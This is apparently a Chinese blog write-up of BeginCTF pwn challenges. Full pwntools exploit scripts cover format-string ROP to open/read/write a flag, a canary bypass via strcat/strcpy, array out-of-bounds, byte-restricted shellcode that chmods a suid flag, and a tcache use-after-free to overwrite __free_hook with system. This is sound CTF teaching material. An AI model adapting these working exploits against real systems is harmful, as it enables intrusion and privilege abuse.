好久没更新了啊哈哈哈,前段时间在复习期末考,然后是打beginctf
和hgame
,以及和朋友天天出去浪。现在花点时间整理一下beginctf
的pwn
题,这次除了minimail
和qwtp
都做出来了,还不错。
其实beginctf
的题是真不错,前段时间做过往年的一题beginctf
的堆题。我也会抽时间写的。
题目有点多,可以拉目录。
aladdin阿拉丁
看到题目说实现三个愿望我就大概猜到是和格式化有关了。
话不多梭,看看IDA
逆向分析
程序只有这一个main函数。前面很明显能看到沙盒,等会检查一下具体怎么禁的,后面是三次不在栈上的格式化字符串机会。
不在栈上的格式化字符串有一个讨厌的点在于你不能直接往栈上写东西,并且直接指定要改。必须用双重指针去做跳板。
具体可以看看我前面的格式化相关blog。或者直接看我后面写的东西。
沙盒检查出来是这样的,似乎没有禁完全,那个execveat
就没禁,不过我不太了解那个函数,所以最后还是选择走ORW。然后checksec
得到保护是这样的,笑死,喜欢全开保护
chanceone
第一次机会肯定得先把能泄露的全部都泄露了,什么libc
基址,程序自身的基址,栈地址,统统拿了再说
exp
大概是这样的
io.recvuntil(b'wish:\n')
payload = b'flag%7$p%15$p%17$p'
io.send(payload)
io.recvuntil(b'flag')
ret_stack_adr = int(io.recv(0xe),16) + 0x38
#这里加上0x38校准到返回地址,方便后面操作
print(str('ret_stack_adr = ') + str(hex(ret_stack_adr)))
libc_base = int(io.recv(0xe),16) - 0x1d90
print(str('libc_base = ') + str(hex(libc_base)))
ELF_base = int(io.recv(0xe),16) - 0x229
print(str('ELF_base = ') + str(hex(ELF_base)))
用flag当作标记防止接收到别的乱七八糟的东西。
后面就会随每个人思路不同而不同了。
libc_start_main经典小trick
但是有一个经典小trick在这里很有用,容我介绍一下。
刚刚在IDA看到程序只有main
函数,而main
函数的返回地址是libc
里面的一个叫做libc_start_main
的函数。
这意味着两件事。一,main
函数返回地址可以很容易被改成libc
的任意地址。二,main
函数的返回地址如果被改的小一些,main
函数就会返回到libc_start_main
的前面,而该函数又会呼出main
函数。
非栈fmt利用介绍
下面介绍一些如何利用非栈的fmt
我截取了格式化前一步的栈布局,接下来假设我们的目标地址是rbp
下面的返回地址。我们没办法直接改,必须分两步,第一步构造跳板,改图中上面两个蓝框指针为指向返回地址。
改完之后是这样的,可以看到我们改了上面两个蓝框之后,最下面的蓝框就指向了返回地址。严格来说还有一个错位操作。因为我们可能需要涉及改返回地址的末尾6位才能将其改为其他的栈
地址。而一次改6位需要的字符数将是天文数字,所以这里用两个栈地址错位,2+4
去改。
基本原理就是这样。接下来介绍我这题的两种思路。
两种思路
铺垫了那么多,终于可以把思路端上来里!
刚才说了沙盒被限了,所以直接改返回地址为onegadget
不可行。
所以我想到的两种思路分别为
一,直接改返回地址__libc_start_main
为libc的gets函数
,因为gets函数没有限制读入大小,只要rdi
是一个栈地址,就可以造成栈溢出。值得一提的是,在这题我似乎利用的是gets
函数自身的栈溢出。
因为我发现成功修改返回地址__libc_start_main
为libc的gets函数
之后,在执行到gets
函数时rdi
好巧不巧是一个距离gets
函数返回地址0x2290
,大于gets
函数自身的溢出偏移。最后经过调试,偏移选了0x2250
再偏移算好之后就简单了,把正常的ORW
流程走一遍就行,exp
我贴这了
from pwn import *
context(
terminal = ['tmux','splitw','-h'],
os = "linux",
arch = "amd64",
# arch = "i386",
log_level="debug",
)
# io = remote("101.32.220.189",31129)
io = process("./aladdin")
def debug():
gdb.attach(io,
'''
b *$rebase(0x13D6)
''')
debug()
payload = b'flag%7$p%15$p%17$p'
io.sendlineafter("wish:\n",payload)
io.recvuntil(b'flag')
ret_stack_adr = int(io.recv(0xe),16) + 0x38
print(str('ret_stack_adr = ') + str(hex(ret_stack_adr)))
libc_base = int(io.recv(0xe),16) - 0x1d90
print(str('libc_base = ') + str(hex(libc_base)))
ELF_base = int(io.recv(0xe),16) - 0x229
print(str('ELF_base = ') + str(hex(ELF_base)))
payload=f"%{(ret_stack_adr&0xffff)}c%19$hna%36$hn".encode()
io.sendlineafter("wish:\n",payload)
libc_gets = libc_base + 0x58520
gets2 = (libc_gets&0xff)
print(hex(gets2))
gets4 = (libc_gets&0xffff00)//0x100
print(hex(gets4))
#懒得写判断了,我就默认gets4大于gets2,去赌一下这个概率把。
payload=f"%{gets2}c%49$hhn%{gets4 - gets2}c%51$hnflag\x00".encode()
io.sendafter("wish:\n",payload)
pop_rax = libc_base + 0x45eb0 - 0x28000
pop_rdi = libc_base + 0x2a3e5 - 0x28000
pop_rsi = libc_base + 0x2be51 - 0x28000
pop_rdx = libc_base + 0x796a2 - 0x28000
syscall = libc_base + 0x1149D0 - 0x28000
print(f'b *{hex(pop_rax)}')
bss_adr = ELF_base + 0x4040
#rax = 2,open(flag,0,0)
fini_payload = cyclic(0x2248) + b'flag\x00\x00\x00\x00' + p64(pop_rax) + p64(0x2) + p64(pop_rdi)
fini_payload += p64(ret_stack_adr - 0x40) + p64(pop_rsi) + p64(0x0)
fini_payload += p64(pop_rdx) + p64(0x0) + p64(syscall)
#rax = 0,read(3,bss_adr,30)
fini_payload += p64(pop_rax) + p64(0x0) + p64(pop_rdi)
fini_payload += p64(0x3) + p64(pop_rsi) + p64(bss_adr)
fini_payload += p64(pop_rdx) + p64(0x50) + p64(syscall)
#rax = 1,write(1,bss_adr,30)
fini_payload += p64(pop_rax) + p64(0x1) + p64(pop_rdi)
fini_payload += p64(0x1) + p64(pop_rsi) + p64(bss_adr)
fini_payload += p64(pop_rdx) + p64(0x50) + p64(syscall)
io.sendlineafter(b'The wonderful lamp is broken',fini_payload)
io.interactive()
解法二,利用刚才说的小trick多利用几次格式化字符串,一直重复利用构造出ORW的栈布局就行了。这个我不打算细说,我就贴一个exp在这得了。因为知道原理之后确实很常规。
from pwn import *
context(
terminal = ['tmux','splitw','-h'],
os = "linux",
arch = "amd64",
# arch = "i386",
log_level="debug",
)
# io = remote("101.32.220.189",31129)
io = process("./aladdin")
def debug():
gdb.attach(io,
'''
b *$rebase(0x13D6)
''')
debug()
io.recvuntil(b'wish:\n')
payload = b'flag%7$p%15$p%17$p'
io.send(payload)
io.recvuntil(b'flag')
stack_adr = int(io.recv(0xe),16)
print(str('stack_adr = ') + str(hex(stack_adr)))
libc_base = int(io.recv(0xe),16) - 0x1d90
print(str('libc_base = ') + str(hex(libc_base)))
ELF_base = int(io.recv(0xe),16) - 0x229
print(str('ELF_base = ') + str(hex(ELF_base)))
def change(adr,tovalue):
for i in range(7):
payload=f"%{((adr)&0xff)+i}c%19$hhn".encode()
io.sendafter("wish:\n",payload)
payload=f"%{((tovalue)>>(i*8))&0xff}c%49$hhn".encode()
io.sendafter("wish:\n",payload)
adr4 = ((stack_adr + 0x38)&0xffff)
io.recvuntil(b'wish:\n')
payload = b'%' + str(adr4).encode() + b'c%19$hn'
io.send(payload)
io.recvuntil(b'wish:\n')
payload = b'%' + str(0x4c).encode() + b'c%49$hhn'
io.send(payload)
pop_rax = libc_base + 0x45eb0 - 0x28000
pop_rdi = libc_base + 0x2a3e5 - 0x28000
pop_rsi = libc_base + 0x2be51 - 0x28000
pop_rdx = libc_base + 0x796a2 - 0x28000
ret_adr = libc_base + 0x1149DA - 0x28000
syscall = libc_base + 0x1149D0 - 0x28000
#rax = 2,open(flag,0,0)
fini_payload = p64(pop_rax) + p64(pop_rax) + p64(0x2) + p64(pop_rdi)
fini_payload += p64(ELF_base + 0x3150) + p64(pop_rsi) + p64(0x0)
fini_payload += p64(pop_rdx) + p64(0x0) + p64(syscall)
#rax = 0,read(3,stack_adr - 0x1000,30)
fini_payload += p64(pop_rax) + p64(0x0) + p64(pop_rdi)
fini_payload += p64(0x3) + p64(pop_rsi) + p64(stack_adr - 0x1000)
fini_payload += p64(pop_rdx) + p64(0x50) + p64(syscall)
#rax = 1,write(1,stack_adr - 0x1000,30)
fini_payload += p64(pop_rax) + p64(0x1) + p64(pop_rdi)
fini_payload += p64(1) + p64(pop_rsi) + p64(stack_adr - 0x1000)
fini_payload += p64(pop_rdx) + p64(0x50) + p64(syscall) + b'flag\x00'
change(stack_adr + 0x30,ELF_base + 0x3070)
change(stack_adr + 0x38,ELF_base + 0x425)
io.recvuntil(b'wish:\n')
io.send(b'one more wish\x00\x00\x00' + fini_payload)
io.interactive()
后记
这个题虽然不算是最难的,但是给我的印象是最深的,化的时间也是最长的。
孩子,不管是拿shell还是ORW的题,最后的interactive
都别删了,要不py
脚本一运行完,整个py就跑路了,你也看不了任何结果了。。。。
孩子,这一点也不好笑。
no money
这题倒是不难,但是挺有意思
意思就是要你改target
地址的值,甚至不需要改成特定大小的值。笑死
而且格式化也是往栈上写的。
target
在bss
段,所以只需要第一轮搞出ELF_base
,第二轮往栈上写target_adr
再用%n
修改就行。只要注意一下对其就问题不大
from pwn import *
context(
terminal = ['tmux','splitw','-h'],
os = "linux",
arch = "amd64",
# arch = "i386",
log_level="debug",
)
# io = remote("101.32.220.189",30620)
io = process("./no_money")
def debug():
gdb.attach(io,
'''
b *$rebase(0x132D)
c
c
''')
debug()
tar_adr = 0x404c
io.recvuntil(b'payload:')
payload = b'%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p'
io.sendline(payload)
io.recvuntil(b'\n')
io.recvuntil(b'0x')#1
stack_adr = int(io.recv(0xc),16)
print(hex(stack_adr))
io.recvuntil(b'0x')#2
io.recvuntil(b'0x')#3
libc_base = int(io.recv(0xc),16) - 0xd1a5d
print(hex(libc_base))
io.recvuntil(b'0x')#4
io.recvuntil(b'0x')#5
io.recvuntil(b'0x')#6
io.recvuntil(b'0x')#7
io.recvuntil(b'0x')#8
io.recvuntil(b'0x')#9
io.recvuntil(b'0x')#10
io.recvuntil(b'0x')#11
io.recvuntil(b'0x')#12
io.recvuntil(b'0x')#13
io.recvuntil(b'0x')#14
io.recvuntil(b'0x')#15
io.recvuntil(b'0x')#16
io.recvuntil(b'0x')#17
main_adr = int(io.recv(0xc),16) - 0x277
print(hex(main_adr))
tar_adr = tar_adr + main_adr - 0x1000
sys_adr = main_adr + 0x11FB
payload = b'%p%p%p%p%p%p%p%p%p%p%n%p'
payload+= p64(tar_adr)
io.recvuntil(b'payload:')
io.sendline(payload)
io.interactive()
后记
本来这里看到read
函数存在栈溢出还想试试栈溢出的,因为存在已有的后门函数,但是唯一退出的方式只有写一个$
,但是一旦写了$
,就是exit(-1)
,没有栈溢出利用的机会。
cat
这题挺有意思的,考了strcat
和strcpy
拼接。然后是给了三次read机会,要在这三次机会下做到不泄露canary
达到栈溢出。
还有就是直接给了后门函数。
主要考一个栈溢出利用strcat
和strcpy
绕canary
。
from pwn import *
context(
terminal = ['tmux','splitw','-h'],
os = "linux",
arch = "amd64",
# arch = "i386",
log_level="debug",
)
# io = remote("101.32.220.189",30740)
io = process("./catflag")
def debug():
gdb.attach(io,
'''
b *0x40133b
''')
debug()
back_door = 0x4011FB
payload2 = b'a'*0x2 + p64(back_door)
payload3 = b'b'*0x18 + b'\x00'
payload1 = b'c'*0x38
io.sendlineafter(b'read:',payload2)
io.sendafter(b'read:',payload3)
io.sendlineafter(b'read:',payload1)
io.interactive()
payload
从上往下是发出的顺序。1,2,3是被写到栈上的顺序。
payload1
填充到canary
,并且用回车填上canary
的两个‘\x00’
,这样第二次的strcat
就可以直接接到canary
后面写上返回地址了,那两个a
是用来填充rbp
的b’\x00‘
的。最后一次的strcpy
是用来把canary
的那个b‘\x00’
补回去,否则依然会认为canary
检查失败。
大概就这样吧,多调试就行,这题不难,
ezpwn
这题两种解法,命令注入或数组越界改返回地址(因为有后门函数地址)都行。
命令注入
不太懂命令注入www。懒得管了
数组越界
直接改最后一位就行。不过这里有一个scanf
的问题,这里没有对scanf
做好处理,如果你在发index
时最后发送了回车,回车b'\x0a'
会一直停留在缓冲区直到被value
接受,也就改失败了。而如果只发552
不发回车,scanf
会一直等你发东西,他会以为你没发完。
所以我这里在552
后面接上b'\x4e'
,这个b'\x4e'
既可以让scanf
结束,还可以停留在缓冲区让value
接收到。就可以成功修改返回地址了.
甚至还可以做得更绝一点,我们看到value
这里有两个getchar
,那我们就故意在b’552\x4e‘
后面接上一个回车。这样b'\x4e'
被value
接受到,回车被第二个getchar
接受到,而我们的b'4'
就会被后面的选择接受到,顺便还能帮我选了退出选项,就可以回到我刚刚改写的返回地址了。
io.sendlineafter(b'choice.\n',b'1')
io.sendlineafter(b'index.\n',b'552\x4E')
io.sendlineafter(b'value\n',b'4')
one_byte
程序会输出flag
的一个字节.然后会给一个字节的溢出,这就是考之前我说的那个小trick
了,经过测试这个字节选b'\x89'
就行。
然后他就会一个字节一个字节的把flag
输出来。
for i in range(1,70,1):
io.recvuntil(b'gift: ')
print(io.recv(0x1))
io.recvuntil(b'result?')
payload = b'\x00' * 0x11 + b'\x89'
io.send(payload)
Unhappy
这题是一个限制了特定字节的shellcode
具体对于写shellcode
有什么影响呢,影响不大.反正我是编出来了。
这题还有就是考一个suid
,flag
是suid
才能读取,程序是在suid
下运行的,程序本身拥有这个权限,但是如果execve(b'/bin/sh',0,0)
就等于主动放弃了这个权限,反而拿不到flag
了。
我是选择先chmod
把flag
权限给普通用户,再拿shell
。
from pwn import *
context(
terminal = ['tmux','splitw','-h'],
os = "linux",
arch = "amd64",
# arch = "i386",
log_level="debug",
)
# io = remote("101.32.220.189",31209)
io = process("./unhappy")
def debug():
gdb.attach(io,
'''
b *$rebase(0x12CC)
c
''')
debug()
#rax = 0x90;chmod(flag,0x7)
#rax = 0;read(0,0xfff00100,0xff)
#rax = 0x3b;execve(/bin/sh,0,0)
code="""
pop rsi
pop rsi
push rsi;pop rdi
push rsi;pop rax
mov esi,0xfff00100#/bin/sh
syscall
push rdi;pop rax
mov esi,0xfff00108#flag
syscall
push rsi;pop rdi
add ax,0x55
mov esi,0x77
syscall
push 0x0;pop rax
push 0x0;pop rdx
push 0x0;pop rsi
mov edi,0xfff00100
add ax,0x3b
syscall
"""
payload = asm(code)
io.sendline(payload)
pause()
io.send(b'/bin/sh\x00')
pause()
io.send(b'flag\x00')
io.interactive()
gift_rop
很明显的栈溢出,gadget也全部都有。但是把标准输出关了,就等于啥都看不到。
搜了一下,解决方式倒很简单,拿shell
之后输入exec 1>&0
重定向一下就行。还有就是远程这样是可以打通,但是本地不知道为什么不行。
也没啥讲的。
zeheap
终于到最后一题了奥,这题可以算是我收获最大的一题了。慢慢开始更熟悉堆的利用了。后面也会继续更新堆相关的内容。
保护
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保护全开,所以没办法劫持got
表,估计只能劫持hook
了。
IDA
照常是一个菜单notes
题。
现在看看每个功能想办法找到漏洞点。
creat函数
v2<=0xF
一位置最多16个notes
。还用mark
数组手动标记该堆块是否被启用。堆块指针存在list
数组。并且还在每次申请出来堆块的时候手动清除里面的数据。还有就是堆块大小固定了0x80
.
edit函数
(这里本来想截图的,但是截图一直传不上去www)
unsigned __int64 edit()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("num:");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0xF && mark[v1] == 1 )
{
puts("read:");
read(0, *((void **)&list + (int)v1), 0x80uLL);
}
return __readfsqword(0x28u) ^ v2;
}
这里还有一个对mark
数组的检查,判断确定这个数组有被启用,而不是bin
里面的某个堆块。
show函数
(这里也是本来想截图的,但是截图一直传不上去www)
unsigned __int64 show()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("num:");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0xF && mark[v1] == 1 )
write(1, *((const void **)&list + (int)v1), 0x80uLL);
return __readfsqword(0x28u) ^ v2;
}
把指定堆块东西写出来,并且同样对mark
数组进行检查。只有在启用下才写出来。
delete函数
(这里也是本来想截图的,但是截图一直传不上去www)
unsigned __int64 delete()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("num:");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0xF )
{
free(*((void **)&list + (int)v1));
mark[v1] = 0;
}
return __readfsqword(0x28u) ^ v2;
}
前面似乎都没啥大漏洞点,这里出现了关键。经管这个delete
函数把mark
数组对应位置置零了,但是这个delete
函数自己却没有像其他函数一样检查mark
数组,而且指针还没置零。大大的机会啊。
确定思路
这个题本身不存在后门函数。所以我思路是先泄露libc
基址,然后再劫持hook
。到时候onegadget
或者劫持free
去free
一个内容为/bin/sh
的堆块都可以试试。
泄露libc
由于题目给了ld-2.31.so
和libc-2.31.so
,这题必然会出现tcachebin
。因为tcachebin
和fastbin
都没有libc
,所以考虑利用程序申请的0x80
大小的堆块,先填满tcachebin
,再进入unsortedbin
,后面利用uaf
拿libc
。要注意的点就是unsortedbin
不能直接和topchunk
物理相连,否则会被直接并入topchunk
,必须留一个chunk
将其隔开。
具体看看exp怎么实现。
for i in range(0,7,1):#准备用这些填满tcachebin
create(i)
create(7)
create(8)#防止合并
for i in range(0,7,1):#填满tcachebin
free(i)
free(7)#让7进入unsortedbin
for i in range(0,7,1):#清空tcachebin
create(i)
create(9)#让9拿到7刚刚释放的unsortedbin
#这时我们的7和9指向同一块堆块,就可以进行uaf了
#但是堆块这时候被creat函数mmset清零了无法泄露libc
#因为delete函数没有检查mark
#于是考虑再释放7一次,保证9的标记位为1方便后面show(9)
#但是这次释放7同样要考虑到tcachbin
for i in range(0,7,1):#再次用这些填满tcachebin
free(i)
free(7)#让7进入unsortedbin
show(9)
我把每一步的目的都写了出来,虽然有点繁琐但是尽量方便阅读。
处理libc
libc
拿到之后放在gdb
里面去vmmap
找到偏移获得libc基址
这里强烈建议大家以后所有偏移都到gdb
去找,我最近做有些题发现IDA
给的偏移有问题,比如system
实际地址为0x30290
,但是在IDA
看却是0x52290
,最近这个偏移误差在onegadegt
和ROPgadget
也出现了。好在所有误差偏移是固定的,只要找到一个就行了。
libc_base = u64(io.recv(0x8)) - 0x1CABE0
print(hex(libc_base))
free_hook = libc_base + 0x1cce48
malloc_hook = libc_base + 0x1cab70
system = libc_base + 0x30290
比如泄露的libc
放到vmmap
一看就知道了偏移了。(这里本来也是想截图的,但是截图一直传不上去wwwww)
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x556465ba0000 0x556465ba1000 r--p 1000 0 /mnt/d/PWN/beginctf/zeheap/zeheap
0x556465ba1000 0x556465ba2000 r-xp 1000 1000 /mnt/d/PWN/beginctf/zeheap/zeheap
0x556465ba2000 0x556465ba3000 r--p 1000 2000 /mnt/d/PWN/beginctf/zeheap/zeheap
0x556465ba3000 0x556465ba4000 r--p 1000 2000 /mnt/d/PWN/beginctf/zeheap/zeheap
0x556465ba4000 0x556465ba5000 rw-p 1000 3000 /mnt/d/PWN/beginctf/zeheap/zeheap
0x556465ba5000 0x556465ba6000 rw-p 1000 5000 /mnt/d/PWN/beginctf/zeheap/zeheap
0x556465ba6000 0x556465ba7000 rw-p 1000 6000 /mnt/d/PWN/beginctf/zeheap/zeheap
0x556465ba7000 0x556465ba8000 rw-p 1000 7000 /mnt/d/PWN/beginctf/zeheap/zeheap
0x556466c3b000 0x556466c5c000 rw-p 21000 0 [heap]
0x7f8255146000 0x7f8255148000 rw-p 2000 0 [anon_7f8255146]
0x7f8255148000 0x7f825516a000 r--p 22000 0 /mnt/d/PWN/beginctf/zeheap/libc-2.31.so
0x7f825516a000 0x7f82552e2000 r-xp 178000 22000 /mnt/d/PWN/beginctf/zeheap/libc-2.31.so
0x7f82552e2000 0x7f8255330000 r--p 4e000 19a000 /mnt/d/PWN/beginctf/zeheap/libc-2.31.so
0x7f8255330000 0x7f8255334000 r--p 4000 1e7000 /mnt/d/PWN/beginctf/zeheap/libc-2.31.so
0x7f8255334000 0x7f8255336000 rw-p 2000 1eb000 /mnt/d/PWN/beginctf/zeheap/libc-2.31.so
0x7f8255336000 0x7f825533c000 rw-p 6000 0 [anon_7f8255336]
0x7f825533c000 0x7f825533d000 r--p 1000 0 /mnt/d/PWN/beginctf/zeheap/ld-2.31.so
0x7f825533d000 0x7f8255360000 r-xp 23000 1000 /mnt/d/PWN/beginctf/zeheap/ld-2.31.so
0x7f8255360000 0x7f8255368000 r--p 8000 24000 /mnt/d/PWN/beginctf/zeheap/ld-2.31.so
0x7f8255369000 0x7f825536a000 r--p 1000 2c000 /mnt/d/PWN/beginctf/zeheap/ld-2.31.so
0x7f825536a000 0x7f825536b000 rw-p 1000 2d000 /mnt/d/PWN/beginctf/zeheap/ld-2.31.so
0x7f825536b000 0x7f825536c000 rw-p 1000 0 [anon_7f825536b]
0x7ffc9f5a4000 0x7ffc9f5c5000 rw-p 21000 0 [stack]
0x7ffc9f5d7000 0x7ffc9f5db000 r--p 4000 0 [vvar]
0x7ffc9f5db000 0x7ffc9f5dd000 r-xp 2000 0 [vdso]
pwndbg> vmmap 0x7f8255336e48
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start End Perm Size Offset File
0x7f8255334000 0x7f8255336000 rw-p 2000 1eb000 /mnt/d/PWN/beginctf/zeheap/libc-2.31.so
► 0x7f8255336000 0x7f825533c000 rw-p 6000 0 [anon_7f8255336] +0xe48
0x7f825533c000 0x7f825533d000 r--p 1000 0 /mnt/d/PWN/beginctf/zeheap/ld-2.31.so
又或者这里的p &xxxx
命令,在附加了调试信息的时候简直香到不行。
pwndbg> p &system
$1 = (<text variable, no debug info> *) 0x7f825519a290 <system>
pwndbg> p &mark
$2 = (<data variable, no debug info> *) 0x556465ba4040 <mark>
pwndbg> x/20gx &mark
0x556465ba4040 <mark>: 0x0000010000000000 0x0000000001010101
0x556465ba4050: 0x0000000000000000 0x0000000000000000
0x556465ba4060 <list>: 0x0000556466c3ca20 0x0000556466c3c990
0x556465ba4070 <list+16>: 0x0000556466c3c900 0x0000556466c3c870
0x556465ba4080 <list+32>: 0x0000556466c3c7e0 0x0000556466c3c6c0
0x556465ba4090 <list+48>: 0x0000556466c3c6c0 0x0000556466c3cab0
0x556465ba40a0 <list+64>: 0x0000556466c3cb40 0x0000556466c3cab0
0x556465ba40b0 <list+80>: 0x0000556466c3c6c0 0x00007f8255336e48
0x556465ba40c0 <list+96>: 0x0000000000000000 0x0000000000000000
0x556465ba40d0 <list+112>: 0x0000000000000000 0x0000000000000000
劫持拿shell
我这里选择的劫持freehook
并free
一个内容为/bin/sh
的堆块。
#前面
create(5)#现在5和6的指针是一样的了
free(6)#再次把这个堆块接入tcachebin
#可以进行tcachebin的uaf了
edit(5,p64(free_hook))#改tcachebin中第一个bin的fd
create(10)#申请第一个,拿到5和6的堆块
edit(10,b'/bin/sh')#现在tcachebin中只剩freehook了
create(11)#拿到freehook
edit(11,p64(system))#改写成system地址
free(10)#释放内容为/bin/sh的堆,成功拿shell
io.interactive()
具体看注释吧,再不行调试一下试试。
还有一个就是tcachebin
的申请很宽松,fastbin
还有检查个size
。
而tcachebin
只要那个数组里面标记的size
符合和数量充足就行.